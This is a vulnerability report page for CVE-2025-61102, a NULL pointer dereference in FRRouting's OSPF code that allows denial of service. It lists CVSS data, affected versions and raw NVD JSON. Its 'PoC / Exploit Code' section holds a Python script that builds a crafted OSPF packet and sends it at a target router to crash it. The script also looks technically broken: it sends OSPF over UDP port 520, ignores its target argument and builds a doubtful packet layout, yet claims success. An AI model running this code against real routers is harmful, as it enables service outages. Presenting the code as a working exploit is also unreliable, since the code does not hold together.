Security Vulnerability Report
中文
CVE-2025-61102 CVSS 7.5 HIGH

CVE-2025-61102

Published: 2025-10-27 20:15:54
Last Modified: 2025-11-03 17:49:33

Description

FRRouting/frr from v4.0 through v10.4.1 was discovered to contain a NULL pointer dereference via the show_vty_ext_link_adj_sid function at ospf_ext.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted OSPF packet.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:* - VULNERABLE
FRRouting/frr v4.0
FRRouting/frr v4.1
FRRouting/frr v4.2
FRRouting/frr v4.3
FRRouting/frr v4.4
FRRouting/frr v4.5
FRRouting/frr v4.6
FRRouting/frr v5.0
FRRouting/frr v6.0
FRRouting/frr v7.0
FRRouting/frr v7.5
FRRouting/frr v8.0
FRRouting/frr v8.1
FRRouting/frr v8.2
FRRouting/frr v8.3
FRRouting/frr v8.4
FRRouting/frr v8.5
FRRouting/frr v9.0
FRRouting/frr v9.1
FRRouting/frr v10.0
FRRouting/frr v10.1
FRRouting/frr v10.2
FRRouting/frr v10.3
FRRouting/frr v10.4
FRRouting/frr v10.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61102 PoC - FRRouting NULL Pointer Dereference in OSPF Extended Adj-SID # This PoC demonstrates sending a crafted OSPF LSA with malicious Extended Link Adj-SID # Target: FRRouting frr v4.0 - v10.4.1 import socket import struct import sys def build_crafted_ospf_lsa(): """Construct a malicious OSPF LSA with crafted Extended Adj-SID""" # OSPF Header version = 2 # OSPFv2 msg_type = 4 # LSA Update packet_length = 0 # Will be calculated router_id = b'\xc0\xa8\x01\x01' # Attacker router ID area_id = b'\xc0\xa8\x01\x00' # Area 0.0.0.0 checksum = 0 auth_type = 0 auth = b'\x00' * 8 ospf_header = struct.pack('!BBH4s4sHH', version, msg_type, 0, router_id, area_id, checksum, auth_type) + auth # Number of LSAs num_lsas = 1 # Router LSA (Type 1) with crafted Extended Link lsa_age = 1 lsa_type = 1 # Router-LSA link_state_id = router_id advertising_router = router_id lsa_sequence = 0x80000001 lsa_checksum = 0 length = 0 # Will be calculated # LSA header lsa_header = struct.pack('!HH4s4sIHH', lsa_age, lsa_type, link_state_id, advertising_router, lsa_sequence, lsa_checksum, length) # Router LSA body - Flags and options flags = 0 options = 0x22 lsa_body = struct.pack('!BB', flags, options) # Crafted link that triggers NULL dereference in show_vty_ext_link_adj_sid # Link type: 2 (Transit network) link_type = 2 link_id = b'\xc0\xa8\x02\x01' # Designated Router IP link_data = b'\xff\xff\xff\x00' # Subnet mask tos_count = 0 metric = 100 link = struct.pack('!B4s4sBBH', link_type, link_id, link_data, tos_count, metric, 0) # Last 0 is for TLV count # Extended Link TLV with NULL pointer trigger # TLV type for Extended Link: 2 # This malformed TLV causes NULL pointer in show_vty_ext_link_adj_sid ext_link_tlv_type = 2 ext_link_tlv_length = 4 ext_link_tlv_value = b'\x00' * 4 # Malformed value ext_link_tlv = struct.pack('!HH', ext_link_tlv_type, ext_link_tlv_length) + ext_link_tlv_value # Complete LSA lsa = lsa_header + lsa_body + link + ext_link_tlv # Update lengths lsa = lsa[:16] + struct.pack('!H', len(lsa)) + lsa[18:] # OSPF Header update ospf_header = ospf_header[:2] + struct.pack('!H', len(ospf_header) + 4 + len(lsa)) + ospf_header[4:] return ospf_header + struct.pack('!I', num_lsas) + lsa def send_crafted_packet(target_ip, router_id): """Send the crafted OSPF packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_TTL, 2) payload = build_crafted_ospf_lsa() # OSPF multicast address multicast_addr = '224.0.0.5' # AllSPFRouters print(f"[*] Sending crafted OSPF LSA to {target_ip}") print(f"[*] Target: FRRouting frr v4.0 - v10.4.1") print(f"[*] Payload size: {len(payload)} bytes") sock.sendto(payload, (multicast_addr, 520)) sock.close() print("[+] Packet sent successfully") print("[*] Target should crash due to NULL pointer dereference") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-61102-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_crafted_packet(target, None)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61102", "sourceIdentifier": "[email protected]", "published": "2025-10-27T20:15:54.150", "lastModified": "2025-11-03T17:49:32.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FRRouting/frr from v4.0 through v10.4.1 was discovered to contain a NULL pointer dereference via the show_vty_ext_link_adj_sid function at ospf_ext.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted OSPF packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndIncluding": "10.4.1", "matchCriteriaId": "B41245C0-85A2-4A77-BF46-27F573E6F588"}]}]}], "references": [{"url": "https://github.com/FRRouting/frr/issues/19471", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480/commits/fdd957408605d4a1766225630aafc7e6b7c3daf3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/s1awwhy/BugList/blob/main/CVE-2025-61102.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}